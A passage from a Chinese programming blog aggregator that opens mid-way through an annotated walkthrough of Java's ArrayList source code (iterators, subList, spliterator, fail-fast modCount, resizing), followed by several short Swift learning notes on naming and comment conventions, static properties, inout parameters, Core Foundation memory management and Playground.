仅保留所有在集合C中的元素 */ public boolean retainAll(Collection<?> c) { Objects.requireNonNull(c); return batchRemove(c, true); } private boolean batchRemove(Collection<?> c, boolean complement) { final Object[] elementData = this.elementData; int r = 0, w = 0; boolean modified = false; try { for (; r < size; r++) if (c.contains(elementData[r]) == complement) elementData[w++] = elementData[r]; } finally { if (r != size) { System.arraycopy(elementData, r, elementData, w, size - r); w += size - r; } if (w != size) { // clear to let GC do its work for (int i = w; i < size; i++) elementData[i] = null; modCount += size - w; size = w; modified = true; } } return modified; } /** * 将列表实例保存到输出流(即序列化) */ private void writeObject(java.io.ObjectOutputStream s) throws java.io.IOException{ int expectedModCount = modCount; s.defaultWriteObject(); s.writeInt(size); for (int i=0; i<size; i++) { s.writeObject(elementData[i]); } if (modCount != expectedModCount) { throw new ConcurrentModificationException(); } } /** * 从输入流中读取列表实例 */ private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { elementData = EMPTY_ELEMENTDATA; s.defaultReadObject(); s.readInt(); // ignored if (size > 0) { int capacity = calculateCapacity(elementData, size); SharedSecrets.getJavaOISAccess().checkArray(s, Object[].class, capacity); ensureCapacityInternal(size); Object[] a = elementData; // Read in all elements in the proper order. for (int i=0; i<size; i++) { a[i] = s.readObject(); } } } /** * 返回一个从指定序号元素开始的ListIterator */ public ListIterator<E> listIterator(int index) { if (index < 0 || index > size) throw new IndexOutOfBoundsException("Index: "+index); return new ListItr(index); } /** * 返回一个ListIterator */ public ListIterator<E> listIterator() { return new ListItr(0); } /** * 返回一个Iterator */ public Iterator<E> iterator() { return new Itr(); } /** * 优化版本的Iterator * todo 迭代器中modCount的作用 */ private class Itr implements Iterator<E> { int cursor; // index of next element to return int lastRet = -1; // index of last element returned; -1 if no such int expectedModCount = modCount; Itr() {} public boolean hasNext() { return cursor != size; } @SuppressWarnings("unchecked") public E next() { checkForComodification(); int i = cursor; if (i >= size) throw new NoSuchElementException(); Object[] elementData = ArrayList.this.elementData; if (i >= elementData.length) throw new ConcurrentModificationException(); cursor = i + 1; return (E) elementData[lastRet = i]; } public void remove() { if (lastRet < 0) throw new IllegalStateException(); checkForComodification(); try { ArrayList.this.remove(lastRet); cursor = lastRet; lastRet = -1; expectedModCount = modCount; } catch (IndexOutOfBoundsException ex) { throw new ConcurrentModificationException(); } } @Override @SuppressWarnings("unchecked") public void forEachRemaining(Consumer<? super E> consumer) { Objects.requireNonNull(consumer); final int size = ArrayList.this.size; int i = cursor; if (i >= size) { return; } final Object[] elementData = ArrayList.this.elementData; if (i >= elementData.length) { throw new ConcurrentModificationException(); } while (i != size && modCount == expectedModCount) { consumer.accept((E) elementData[i++]); } // update once at end of iteration to reduce heap write traffic cursor = i; lastRet = i - 1; checkForComodification(); } final void checkForComodification() { if (modCount != expectedModCount) throw new ConcurrentModificationException(); } } /** * 优化版的ListIterator */ private class ListItr extends Itr implements ListIterator<E> { ListItr(int index) { super(); cursor = index; } public boolean hasPrevious() { return cursor != 0; } public int nextIndex() { return cursor; } public int previousIndex() { return cursor - 1; } @SuppressWarnings("unchecked") public E previous() { checkForComodification(); int i = cursor - 1; if (i < 0) throw new NoSuchElementException(); Object[] elementData = ArrayList.this.elementData; if (i >= elementData.length) throw new ConcurrentModificationException(); cursor = i; return (E) elementData[lastRet = i]; } public void set(E e) { if (lastRet < 0) throw new IllegalStateException(); checkForComodification(); try { ArrayList.this.set(lastRet, e); } catch (IndexOutOfBoundsException ex) { throw new ConcurrentModificationException(); } } public void add(E e) { checkForComodification(); try { int i = cursor; ArrayList.this.add(i, e); cursor = i + 1; lastRet = -1; expectedModCount = modCount; } catch (IndexOutOfBoundsException ex) { throw new ConcurrentModificationException(); } } } /** * 获取从 fromIndex 到 toIndex 之间的子集合 * 如果fromIndex == toIndex,则返回的空集合。对该子集合的操作,会影响原有集合。 */ public List<E> subList(int fromIndex, int toIndex) { subListRangeCheck(fromIndex, toIndex, size); return new SubList(this, 0, fromIndex, toIndex); } /** * 检查传入索引的合法性 */ static void subListRangeCheck(int fromIndex, int toIndex, int size) { if (fromIndex < 0) throw new IndexOutOfBoundsException("fromIndex = " + fromIndex); if (toIndex > size) throw new IndexOutOfBoundsException("toIndex = " + toIndex); if (fromIndex > toIndex) throw new IllegalArgumentException("fromIndex(" + fromIndex + ") > toIndex(" + toIndex + ")"); } /** * 内部类——子列表 */ private class SubList extends AbstractList<E> implements RandomAccess { private final AbstractList<E> parent; private final int parentOffset; private final int offset; int size; SubList(AbstractList<E> parent, int offset, int fromIndex, int toIndex) { this.parent = parent; this.parentOffset = fromIndex; this.offset = offset + fromIndex; this.size = toIndex - fromIndex; this.modCount = ArrayList.this.modCount; } public E set(int index, E e) { rangeCheck(index); checkForComodification(); E oldValue = ArrayList.this.elementData(offset + index); ArrayList.this.elementData[offset + index] = e; return oldValue; } public E get(int index) { rangeCheck(index); checkForComodification(); return ArrayList.this.elementData(offset + index); } public int size() { checkForComodification(); return this.size; } public void add(int index, E e) { rangeCheckForAdd(index); checkForComodification(); parent.add(parentOffset + index, e); this.modCount = parent.modCount; this.size++; } public E remove(int index) { rangeCheck(index); checkForComodification(); E result = parent.remove(parentOffset + index); this.modCount = parent.modCount; this.size--; return result; } protected void removeRange(int fromIndex, int toIndex) { checkForComodification(); parent.removeRange(parentOffset + fromIndex, parentOffset + toIndex); this.modCount = parent.modCount; this.size -= toIndex - fromIndex; } public boolean addAll(Collection<? extends E> c) { return addAll(this.size, c); } public boolean addAll(int index, Collection<? extends E> c) { rangeCheckForAdd(index); int cSize = c.size(); if (cSize==0) return false; checkForComodification(); parent.addAll(parentOffset + index, c); this.modCount = parent.modCount; this.size += cSize; return true; } public Iterator<E> iterator() { return listIterator(); } public ListIterator<E> listIterator(final int index) { checkForComodification(); rangeCheckForAdd(index); final int offset = this.offset; return new ListIterator<E>() { int cursor = index; int lastRet = -1; int expectedModCount = ArrayList.this.modCount; public boolean hasNext() { return cursor != ArrayList.SubList.this.size; } @SuppressWarnings("unchecked") public E next() { checkForComodification(); int i = cursor; if (i >= ArrayList.SubList.this.size) throw new NoSuchElementException(); Object[] elementData = ArrayList.this.elementData; if (offset + i >= elementData.length) throw new ConcurrentModificationException(); cursor = i + 1; return (E) elementData[offset + (lastRet = i)]; } public boolean hasPrevious() { return cursor != 0; } @SuppressWarnings("unchecked") public E previous() { checkForComodification(); int i = cursor - 1; if (i < 0) throw new NoSuchElementException(); Object[] elementData = ArrayList.this.elementData; if (offset + i >= elementData.length) throw new ConcurrentModificationException(); cursor = i; return (E) elementData[offset + (lastRet = i)]; } @SuppressWarnings("unchecked") public void forEachRemaining(Consumer<? super E> consumer) { Objects.requireNonNull(consumer); final int size = ArrayList.SubList.this.size; int i = cursor; if (i >= size) { return; } final Object[] elementData = ArrayList.this.elementData; if (offset + i >= elementData.length) { throw new ConcurrentModificationException(); } while (i != size && modCount == expectedModCount) { consumer.accept((E) elementData[offset + (i++)]); } // update once at end of iteration to reduce heap write traffic lastRet = cursor = i; checkForComodification(); } public int nextIndex() { return cursor; } public int previousIndex() { return cursor - 1; } public void remove() { if (lastRet < 0) throw new IllegalStateException(); checkForComodification(); try { ArrayList.SubList.this.remove(lastRet); cursor = lastRet; lastRet = -1; expectedModCount = ArrayList.this.modCount; } catch (IndexOutOfBoundsException ex) { throw new ConcurrentModificationException(); } } public void set(E e) { if (lastRet < 0) throw new IllegalStateException(); checkForComodification(); try { ArrayList.this.set(offset + lastRet, e); } catch (IndexOutOfBoundsException ex) { throw new ConcurrentModificationException(); } } public void add(E e) { checkForComodification(); try { int i = cursor; ArrayList.SubList.this.add(i, e); cursor = i + 1; lastRet = -1; expectedModCount = ArrayList.this.modCount; } catch (IndexOutOfBoundsException ex) { throw new ConcurrentModificationException(); } } final void checkForComodification() { if (expectedModCount != ArrayList.this.modCount) throw new ConcurrentModificationException(); } }; } public List<E> subList(int fromIndex, int toIndex) { subListRangeCheck(fromIndex, toIndex, size); return new ArrayList.SubList(this, offset, fromIndex, toIndex); } private void rangeCheck(int index) { if (index < 0 || index >= this.size) throw new IndexOutOfBoundsException(outOfBoundsMsg(index)); } private void rangeCheckForAdd(int index) { if (index < 0 || index > this.size) throw new IndexOutOfBoundsException(outOfBoundsMsg(index)); } private String outOfBoundsMsg(int index) { return "Index: "+index+", Size: "+this.size; } private void checkForComodification() { if (ArrayList.this.modCount != this.modCount) throw new ConcurrentModificationException(); } public Spliterator<E> spliterator() { checkForComodification(); return new ArrayList.ArrayListSpliterator<E>(ArrayList.this, offset, offset + this.size, this.modCount); } } /** * 遍历 */ @Override public void forEach(Consumer<? super E> action) { Objects.requireNonNull(action); final int expectedModCount = modCount; @SuppressWarnings("unchecked") final E[] elementData = (E[]) this.elementData; final int size = this.size; for (int i=0; modCount == expectedModCount && i < size; i++) { action.accept(elementData[i]); } if (modCount != expectedModCount) { throw new ConcurrentModificationException(); } } /** * 创建一个分割器 */ @Override public Spliterator<E> spliterator() { return new ArrayList.ArrayListSpliterator<>(this, 0, -1, 0); } /** 基于索引的、二分的、懒加载的分割器*/ static final class ArrayListSpliterator<E> implements Spliterator<E> { //用于存放ArrayList对象 private final ArrayList<E> list; //起始位置(包含),advance/split操作时会修改 private int index; //结束位置(不包含),-1 表示到最后一个元素 private int fence; //用于存放list的modCount,当fence被设值后初始化 private int expectedModCount; /** 创建一个范围性的分割器 */ ArrayListSpliterator(ArrayList<E> list, int origin, int fence, int expectedModCount) { this.list = list; // OK if null unless traversed this.index = origin; this.fence = fence; this.expectedModCount = expectedModCount; } //在第一次使用时实例化结束位置 private int getFence() { int hi; ArrayList<E> lst; if ((hi = fence) < 0) { if ((lst = list) == null) hi = fence = 0; else { expectedModCount = lst.modCount; hi = fence = lst.size; } } return hi; } /** * 分割list,返回一个新分割出的spliterator实例,相当于二分法,这个方法会递归 * 1.ArrayListSpliterator本质上还是对原list进行操作,只是通过index和fence来控制每次处理范围 * 2.ArrayListSpliterator在遍历元素时,不能对list进行结构变更操作,否则抛错。 */ public ArrayList.ArrayListSpliterator<E> trySplit() { int hi = getFence(), lo = index, mid = (lo + hi) >>> 1; return (lo >= mid) ? null : // divide range in half unless too small new ArrayList.ArrayListSpliterator<E>(list, lo, index = mid, expectedModCount); } /** * 返回true 时,只表示可能还有元素未处理 * 返回false 时,没有剩余元素需要处理 */ public boolean tryAdvance(Consumer<? super E> action) { if (action == null) throw new NullPointerException(); int hi = getFence(), i = index; if (i < hi) { index = i + 1; @SuppressWarnings("unchecked") E e = (E)list.elementData[i]; action.accept(e); if (list.modCount != expectedModCount) throw new ConcurrentModificationException(); return true; } return false; } /** * 顺序遍历处理所有剩下的元素 */ public void forEachRemaining(Consumer<? super E> action) { int i, hi, mc; // hoist accesses and checks from loop ArrayList<E> lst; Object[] a; if (action == null) throw new NullPointerException(); if ((lst = list) != null && (a = lst.elementData) != null) { if ((hi = fence) < 0) { mc = lst.modCount; hi = lst.size; } else mc = expectedModCount; if ((i = index) >= 0 && (index = hi) <= a.length) { for (; i < hi; ++i) { @SuppressWarnings("unchecked") E e = (E) a[i]; action.accept(e); } if (lst.modCount == mc) return; } } throw new ConcurrentModificationException(); } /** * 估算大小 */ public long estimateSize() { return (long) (getFence() - index); } /** * 获取特征值 */ public int characteristics() { return Spliterator.ORDERED | Spliterator.SIZED | Spliterator.SUBSIZED; } } /** * 条件过滤 */ @Override public boolean removeIf(Predicate<? super E> filter) { Objects.requireNonNull(filter); // figure out which elements are to be removed // any exception thrown from the filter predicate at this stage // will leave the collection unmodified int removeCount = 0; final BitSet removeSet = new BitSet(size); final int expectedModCount = modCount; final int size = this.size; for (int i=0; modCount == expectedModCount && i < size; i++) { @SuppressWarnings("unchecked") final E element = (E) elementData[i]; if (filter.test(element)) { removeSet.set(i); removeCount++; } } if (modCount != expectedModCount) { throw new ConcurrentModificationException(); } // shift surviving elements left over the spaces left by removed elements final boolean anyToRemove = removeCount > 0; if (anyToRemove) { final int newSize = size - removeCount; for (int i=0, j=0; (i < size) && (j < newSize); i++, j++) { i = removeSet.nextClearBit(i); elementData[j] = elementData[i]; } for (int k=newSize; k < size; k++) { elementData[k] = null; // Let gc do its work } this.size = newSize; if (modCount != expectedModCount) { throw new ConcurrentModificationException(); } modCount++; } return anyToRemove; } /** * 全部替换 */ @Override @SuppressWarnings("unchecked") public void replaceAll(UnaryOperator<E> operator) { Objects.requireNonNull(operator); final int expectedModCount = modCount; final int size = this.size; for (int i=0; modCount == expectedModCount && i < size; i++) { elementData[i] = operator.apply((E) elementData[i]); } if (modCount != expectedModCount) { throw new ConcurrentModificationException(); } modCount++; } /** * 用外部比较器来排序 */ @Override @SuppressWarnings("unchecked") public void sort(Comparator<? super E> c) { final int expectedModCount = modCount; Arrays.sort((E[]) elementData, 0, size, c); if (modCount != expectedModCount) { throw new ConcurrentModificationException(); } modCount++; } } 讲真,我已经尽力了。 三、要点说明 这部分主要根据上面的源码进行说明,如果有不太清楚的地方,可以返回上面的源码进行查看。 1.ArrayList其实只是内部维护了一个数组,通过暴露出方便操作的接口来简化操作。 2.ArrayList中,size和capacity是两码事,size表示列表中实际存储的元素个数,一般小于内部数组长度,而capacity表示容量,即内部数组的长度。 3.ArrayList中,默认的大小是10,当你使用newArrayList();时并不会立即为数组分配大小为10的空间,而是等插入第一个元素时才会真正分配,这样做是为了节约内存空间。 4.由于上述目的的存在,为了区分默认列表和空列表,设置了两个空数组常量,EMPTY_ELEMENTDATA和DEFAULTCAPACITY_EMPTY_ELEMENTDATA,这样在扩容时就能进行不同的处理。 5.维护内部数组时,使用的是Arrays.copyOf()方法和System.arraycopy()方法。 6.里面有多处使用modCount,这个变量其实是继承自父类AbstractList,用来标识列表内部数组大小被修改的次数(如add,trimToSize等操作可能会触发),元素的替换并不会改变它的值,迭代器的“fail-fast”机制跟这个modCount变量紧密相关,一般会在操作前赋值一次expectedModCount = modCount;在操作执行完之后再进行一次检测,如果仍相等,说明结构未改变,否则将抛出异常,这也就是为什么上一篇中ArrayList修改过之后,操作迭代器会抛出异常的原因。 7.在扩容时,默认的扩容因子是1.5,每次需要扩容时,会将原数组大小的1.5倍和实际需要的数组空间进行比较,从中取最大值作为数组大小。然后新建一个数组,把原数组中的所有元素复制到新数组中去。所以扩容其实是最耗费时间的操作,不仅仅需要重新分配空间,而且需要重新赋值。 8.因为ArrayList的方法操作的都是同一个内部数组,而所有方法都没有加锁,没有同步机制,所以它是线程不安全的。 9.ArrayList中可以存放null值,可以在源码中看到,在比较时对null值都进行了处理。 四、优缺点说明 因为列表其实是内部维护管理着一个数组,所以数组的优点它都具备。当然,数组的缺点它同样也存在。 数组是将元素在内存中连续存放,由于每个元素占用内存相同,可以通过下标迅速访问数组中任何元素。但是如果要在数组中增加一个元素,需要移动大量元素,在内存中空出一个元素的空间,然后将要增加的元素放在其中。同样的道理,如果想删除一个元素,同样需要移动大量元素去填掉被移动的元素。 但是列表在维护这个内部数组时,还是花了一点心思的,比如使用capacity的概念来减少数组结构改变的次数,所以并不会每次add操作都导致结构改变。将扩容因子选为1.5而不是2,也是为了在满足需求的前提下尽可能的节约空间,但如果事先就知道元素的大概个数时,最好先在构造器中设置好列表的容量,这样就可以省掉不少扩容时的开销。 呼。这篇准备了两天才搞定,希望能够帮助到大家,如果有什么遗漏或者讲的不够清晰的地方,欢迎指出,如果有说错的知识点,也请不要吝啬,欢迎指正。 看在我这样辛勤耕作的份上,动动小手点个赞吧,也欢迎关注我的博客,后续还会持续更新。 真正重要的东西,用眼睛是看不见的。

优秀的个人博客,低调大师

《从零开始学Swift》学习笔记(Day 56)—— Swift编码规范之命名规范

程序代码中到处都是自己定义的名字,取一个有样并且符合规范的名字非常重要。 命名方法很多,但是比较有名的,广泛接受命名法有: 匈牙利命名,一般只是命名变量,原则是:变量名=类型前缀+描述,如bFoo表示布尔类型变量,pFoo表示指针类型变量。匈牙利命名还是有一定争议的,在Swift编码规范中几本不采用匈牙利命名。 驼峰命名(Camel-Case),又称骆驼命名法,是指混合使用大小写字母来名字。驼峰命名又分为:小驼峰法和大驼峰法。 小驼峰法是第一个单词是全部小写,后面的单词首字母大写,如:myRoomCount; 大驼峰法是第一个单词的首字母也大写,如:ClassRoom。 驼峰命名是Swift编码规范主要的命名方法,更加所命名的内容不同,可以选择小驼峰法还是大驼峰法。下面分类说明一下: 对类、结构体、枚举和协议等类型命名,应该采用大驼峰法,如SplitViewController。 文件名,采用大驼峰法,如BlockOperation.swift。 扩展文件,有的时候扩展是定义在一个独立的文件中的,它的命名是“原始类型名+扩展名”作为扩展文件名,如NSOperation+Operations.swift。 变量和属性,采用应该采用小驼峰法,如studentNumber。 常量,采用大驼峰法,如MaxStudentNumber。 枚举成员,与常量类似,采用大驼峰法,如ExecutionFailed。 函数和方法,采用应该采用小驼峰法,如balanceAccount、isButtonPressed等。 本文转自 tony关东升 51CTO博客,原文链接:http://blog.51cto.com/tonyguan/1748330,如需转载请自行联系原作者

优秀的个人博客,低调大师

《从零开始学Swift》学习笔记(Day 34)——静态属性是怎么回事?

我先来设计一个类:有一个Account(银行账户)类,假设它有3个属性:amount(账户金额)、interestRate(利率)和owner(账户名)。 在这3个属性中,amount和owner会因人而异,不同的账户这些内容是不同的,而所有账户的interestRate都是相同的。 amount和owner属性与账户个体有关,称为实例属性。interestRate属性与个体无关,或者说是所有账户个体共享的,这种属性称为静态属性或类型属性。 面向对象类型(结构体、枚举和类)都可以定义静态属性,它们的语法格式分别如下所示: 1 <span style= "font-size:14px;" >struct结构体名{ //定义结构体,结构体中可以定义静态存储属性和静态计算属性<br>staticvar(或let)存储属性="xxx"<br>...<br>staticvar计算属性名:属性数据类型{<br>get{<br>return计算后属性值<br>}<br>set(新属性值){<br>...<br>}<br>}<br>}<br></span> enum枚举名{//定义枚举,枚举中不可以定义实例存储属性,但可以定义静态存储属性,也可以定义静态计算属性 1 <span style= "font-size:14px;" > static var(或let)存储属性= "xxx" <br>...<br> static var计算属性名:属性数据类型{<br>get{<br> return 计算后属性值<br>}<br>set(新属性值){<br>...<br>}<br>}<br>}<br><br> class 类名{ //定义类,类中不仅可以定义实例存储属性,还可以定义静态存储属性<br>staticvar(或let)存储属性="xxx"<br>...<br>class(或static)var计算属性名:属性数据类型{<br>get{<br>return计算后属性值<br>}<br>set(新属性值){<br>...<br>}<br>}<br>}<br>结构体静态计算属性也可以是只读的,语法如下:<br>staticvar计算属性名:属性数据类型{<br>return计算后属性值<br>}<br></span> 看一个Account结构体静态属性示例: 1 <span style= "font-size:14px;" >structAccount{ //定义Account结构体<br><br>varamount:Double=0.0//账户金额<br>varowner:String=""//账户名<br><br>staticvarinterestRate:Double=0.0668//定义静态存储属性interestRate利率<br><br>staticvarstaticProp:Double{//定义静态计算属性staticProp<br>returninterestRate*1_000_000<br>}<br><br>varinstanceProp:Double{//定义实例计算属性instanceProp<br>returnAccount.interestRate*amount<br>}<br>}<br><br>//访问静态属性<br>print(Account.staticProp)<br><br>varmyAccount=Account()<br>//访问实例属性<br>myAccount.amount=1_000_000<br>//访问静态属性<br>print(myAccount.instanceProp<br></span> ) 本文转自 tony关东升 51CTO博客,原文链接:http://blog.51cto.com/tonyguan/1746605,如需转载请自行联系原作者

优秀的个人博客,低调大师

《从零开始学Swift》学习笔记(Day 61)——Core Foundation框架之内存管理

在Swift原生数据类型、Foundation框架数据类型和Core Foundation框架数据类型之间转换过程中,虽然是大部分是可以零开销桥接,零开销并不意味着内存什么都不用管。Swift类型内存管理是采用ARC,Foundation类型和Core Foundation类型内存管理都是采用MRC或ARC,CoreFoundation类型内存管理是基于C语言风格的,它有一个对象所有权的概念 Objective-C的MRC内存管理 Core Foundation的内存管理与Objective-C的MRC内存管理密不可分,先介绍一下Objective-C的MRC内存管理。 所有Objective-C类都继承NSObject类,每个NSObject对象都有一个内部计数器,这个计数器跟踪对象的引用次数,被称为“引用计数”(Reference Count,简称RC)。当对象被创建时候,引用计数为1。为了保证对象的存在,可以调用retain方法保持对象,retain方法会使其引用计数加1,如果不需要这个对象可以调用release或autorelease方法,release或autorelease方法使其引用计数减1。当对象的引用计数为0的时候,系统运行环境才会释放对象内存。 引用计数示例如图所示,首先在第①步调用者A中创建了一个NSObject对象,这时该对象引用计数为1。在第②步调用者B中想使用这个NSObject对象,于是使用NSObject对象引用,但是为了防止使用过程中NSObject对象被释放,可以调用retain方法使引用计数加1,这时引用计数为2。在第③步调用者A中调用release或autorelease方法,使引用计数减1,这时引用计数为1。在第④步调用者C中调用release或autorelease方法,只是获得NSObject对象引用,并没有调用retain、release或autorelease方法,因此没有引起引用计数的变化。在第⑤步调用者B中调用release或autorelease方法使引用计数减1,这时引用计数为0。这个时候NSObject对象就内存就可以释放了。 来总结一下: 1.谁创建或拷贝对象,他也一定要负责调用NSObject对象release或autorelease方法,使引用计数减1,如图中调用者A在第①步,负责创建了NSObject对象,那么调用者A也必须是负责使引用计数减1,见第④步。 2.谁调用retain方法使引用计数加1,它也一定要负责调用NSObject对象release或autorelease方法,使引用计数减1,如图中调用者B在第②步,调用者B调用NSObject对象retain方法使引用计数加1,那么调用者B也必须是负责使引用计数减1,见第⑤步。 对象所有权 一个对象可以有一个或多个所有者,从所有者的角度看是对这个对象具有了“所有权”,从上图中看,调用者A和调用者B是所有者,他们可能是一段程序,可能是一个对象。他们对NSObject对象具有所有权,不再使用时候他们应该负责放弃对象所有权,当对象没有所有者时,引用计数为0,它才可以被释放。 如上图如果按照对象所有权解释:调用者A创建或拷贝NSObject对象,这时调用者A就具有了NSObject对象的所有权,见第①步。调用者B调用NSObject对象retain方法,就获得了也NSObject对象的所有权,见第②步。调用者A调用NSObject对象release方法,放弃NSObject对象的所有权,见第③步。调用者C只是使用NSObject对象没有获得NSObject对象的所有权,见第④步。调用者B调用NSObject对象release方法,放弃NSObject对象的所有权,见第⑤步,但是调用者B使用这个NSObject对象过程中,由于其他调用者放弃所有权,导致NSObject对象被释放,那么调用者B中程序就会发生运行期错误。 本文转自 tony关东升 51CTO博客,原文链接:http://blog.51cto.com/tonyguan/1748666,如需转载请自行联系原作者

优秀的个人博客,低调大师

《从零开始学Swift》学习笔记(Day 20)——函数中参数的传递引用

参数的传递引用 类是引用类型,其他的数据类型如整型、浮点型、布尔型、字符、字符串、元组、集合、枚举和结构体全部是值类型。 有的时候就是要将一个值类型参数以引用方式传递,这也是可以实现的,Swift提供的inout关键字就可以实现。看下面的一个示例: 1 2 3 4 5 6 7 8 9 10 11 funcincrement(inoutvalue:Double,amount:Double= 1.0 ){ value+=amount } varvalue:Double= 10.0 increment(&value) print(value) increment(&value,amount: 100.0 ) print(value) 代码increment(&value)是调用函数increment,增长量是默认值,其中&value(在变量前面加&符号,取出value地址)是传递引用方式,它在定义函数时,参数标识与inout是相互对应的。 代码increment(&value,amount:100.0)也是调用函数increment,增长量是100.0。 上述代码输出结果如下: 11.0 111.0 本文转自 tony关东升 51CTO博客,原文链接:http://blog.51cto.com/tonyguan/1746249,如需转载请自行联系原作者

优秀的个人博客,低调大师

《从零开始学Swift》学习笔记(Day 57)——Swift编码规范之注释规范:

前面说到Swift注释的语法有两种:单行注释(//)和多行注释(/*...*/)。这里来介绍一下他们的使用规范。 文件注释 文件注释就在每一个文件开头添加注释,文件注释通常包括如下信息:版权信息、文件名、所在模块、作者信息、历史版本信息、文件内容和作用等。 下面看一个文件注释的示例: 1 2 3 4 5 6 7 8 9 10 11 12 /* Copyright(C)2015EorientInc.AllRightsReserved. SeeLICENSE.txtforthissample’slicensinginformation Description: ThisfilecontainsthefoundationalsubclassofNSOperation. History: 15/7/22:CreatedbyTonyGuan. 15/8/20:Addsocketlibrary 15/8/22:Addmathlibrary */ 这个注释只是提供了版权信息、文件内容和历史版本信息等,文件注释要根据自己实际情况包括内容。 文档注释 文档注释就是这种注释内容能够生成API帮助文档。文档注释主要对类型、属性、方法或函数等功能。 文档注释是稍微将单行注释(//)和多行注释(/*...*/)做一点“手脚”后,就成为了文档注释,单行文档注释(///)和多行文档注释(/**...*/)。 下面代码示例: 1 2 3 4 5 6 7 8 9 10 11 12 import Foundation /** Theprotocolthattypesmayimplementiftheywishtobe notifiedofsignificantoperationlifecycleevents. */ protocolOperationObserver{ ///Invokedimmediatelypriortothe`Operation`'s`execute()`method. funcoperationDidStart(operation:Operation) } 代码中使用了文档注释。 可以使用一些工具将这些文档注释生成API文件 代码注释 程序代码中处理文档注释还需要在一些关键的地方添加代码注释,文档注释一般是给一些看不到源代码的人看的帮助文档,而代码注释是给阅读源代码人参考的。代码注释一般是采用单行注释(//)和多行注释(/*...*/)。 有的时候也会在代码的尾端进行注释,这要求注释内容极短,应该在有足够的空白来分开代码和注释。尾端注释示例代码如下: 1 2 3 init(timeout:NSTimeInterval){ self.timeout=timeout //初始化 } 使用地标注释 随着编码过程深入,工程代码量会增加,任何在这大量的代码中能快速找到需要方法或者是刚才修改过代码呢? 在Swift代码中使用地标注释,然后就可以使用Xcode工具在代码中快速查找了。地标注释有三个: MARK,用于方法或函数的注释。 TODO,表示这里代码有没有完成,还要处理。 FIXME,表示这里修改了代码。 这些注释会出现在Xcode的Jump Bar中。来看一个示例: 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 class ViewController:UIViewController, UITableViewDataSource,UITableViewDelegate{ varlistTeams:[[String:String]]! overridefuncviewDidLoad(){ super .viewDidLoad() ... } overridefuncdidReceiveMemoryWarning(){ super .didReceiveMemoryWarning() //TODO:释放资源//使用TODO注释 } //MARK:UITableViewDataSource协议方法//使用MARK注释 functableView(tableView:UITableView, numberOfRowsInSectionsection:Int)->Int{ return self.listTeams.count } functableView(tableView:UITableView, cellForRowAtIndexPathindexPath:NSIndexPath)->UITableViewCell{ letcellIdentifier= "CellIdentifier" letcell:UITableViewCell!=tableView .dequeueReusableCellWithIdentifier(cellIdentifier, forIndexPath:indexPath)as?UITableViewCell //FIXME:修改bug//使用了FIXME注释 letrow=indexPath.row letrowDict=self.listTeams[row]as[String:String] ... return cell } //MARK:UITableViewDelegate协议方法//使用MARK注释 functableView(tableView:UITableView, didSelectRowAtIndexPathindexPath:NSIndexPath){ ... } } 上述代码中使用三种地标注释,在使用时候后面要跟有一个冒号(:)。 注释之后如果使用呢?打开Xcode的Jump Bar,如下图,这些地标注释会在下拉列表中粗体显示,点击列表项就会跳转到注释行。 本文转自 tony关东升 51CTO博客,原文链接:http://blog.51cto.com/tonyguan/1748343,如需转载请自行联系原作者

优秀的个人博客,低调大师

《从零开始学Swift》学习笔记(Day4)——用Playground工具编写Swift

用Playground编写Swift代码目的是为了学习、测试算法、验证想法和可视化看到运行结果,不是为了使最终的程序编译和发布。 Playground程序运行①区域是代码编写视图;②区域是运行结果视图;③区域是时间轴视图;④区域是控制台视图,使用print等日志函数将结果输出到控制台,可以通过左下角的按钮隐藏和显示控制台。 默认情况下时间轴视图是不显示的,可以通过助手编辑器打开Playground时间轴视图。在出现的工具栏中,单击打开助手编辑器,在助手编辑器中有时间轴视图。 本文转自 tony关东升 51CTO博客,原文链接:http://blog.51cto.com/tonyguan/1744588,如需转载请自行联系原作者

资源下载

更多资源
Mario

Mario

马里奥是站在游戏界顶峰的超人气多面角色。马里奥靠吃蘑菇成长,特征是大鼻子、头戴帽子、身穿背带裤,还留着胡子。与他的双胞胎兄弟路易基一起,长年担任任天堂的招牌角色。

腾讯云软件源

腾讯云软件源

为解决软件依赖安装时官方源访问速度慢的问题,腾讯云为一些软件搭建了缓存服务。您可以通过使用腾讯云软件源站来提升依赖包的安装速度。为了方便用户自由搭建服务架构,目前腾讯云软件源站支持公网访问和内网访问。

Spring

Spring

Spring框架(Spring Framework)是由Rod Johnson于2002年提出的开源Java企业级应用框架,旨在通过使用JavaBean替代传统EJB实现方式降低企业级编程开发的复杂性。该框架基于简单性、可测试性和松耦合性设计理念,提供核心容器、应用上下文、数据访问集成等模块,支持整合Hibernate、Struts等第三方框架,其适用范围不仅限于服务器端开发,绝大多数Java应用均可从中受益。

Sublime Text

Sublime Text

Sublime Text具有漂亮的用户界面和强大的功能,例如代码缩略图,Python的插件,代码段等。还可自定义键绑定,菜单和工具栏。Sublime Text 的主要功能包括:拼写检查,书签,完整的 Python API , Goto 功能,即时项目切换,多选择,多窗口等等。Sublime Text 是一个跨平台的编辑器,同时支持Windows、Linux、Mac OS X等操作系统。

用户登录
用户注册
修改密码
忘记密码